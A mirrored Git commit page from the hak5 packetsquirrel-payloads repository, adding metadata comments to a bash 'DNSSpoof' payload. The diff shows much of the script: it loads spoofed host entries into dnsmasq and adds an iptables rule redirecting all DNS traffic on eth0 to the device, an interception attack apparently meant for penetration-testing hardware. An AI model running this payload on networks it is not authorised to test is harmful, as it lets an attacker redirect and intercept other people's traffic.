mirror of
https://github.com/hak5/packetsquirrel-payloads.git
synced 2025-12-19 17:58:49 +00:00
Added metadata to existing payloads (#1)
This commit is contained in:
committed by
Sebastian Kinne
parent
487ab7dc5f
commit
b6ab3cc61f
@@ -1,5 +1,12 @@
|
||||
#!/bin/bash
|
||||
# DNSSpoof payload
|
||||
#
|
||||
# Title: DNSSpoof
|
||||
# Description: Forge replies to arbitrary DNS queries using DNSMasq
|
||||
# Author: Hak5
|
||||
# Version: 1.0
|
||||
# Category: interception
|
||||
# Target: Any
|
||||
# Net Mode: NAT
|
||||
|
||||
|
||||
function setup() {
|
||||
@@ -14,7 +21,7 @@ function setup() {
|
||||
cp $(dirname ${BASH_SOURCE[0]})/spoofhost /tmp/dnsmasq.address &> /dev/null
|
||||
|
||||
# Restart dnsmasq with the new configuration
|
||||
/etc/init.d/dnsmasq restart
|
||||
/etc/init.d/dnsmasq restart
|
||||
}
|
||||
|
||||
function run() {
|
||||
@@ -22,7 +29,7 @@ function run() {
|
||||
LED ATTACK
|
||||
|
||||
# Redirect all DNS traffic to ourselves
|
||||
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
|
||||
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
|
||||
}
|
||||
|
||||
setup
|
||||
|
||||
Reference in New Issue
Block a user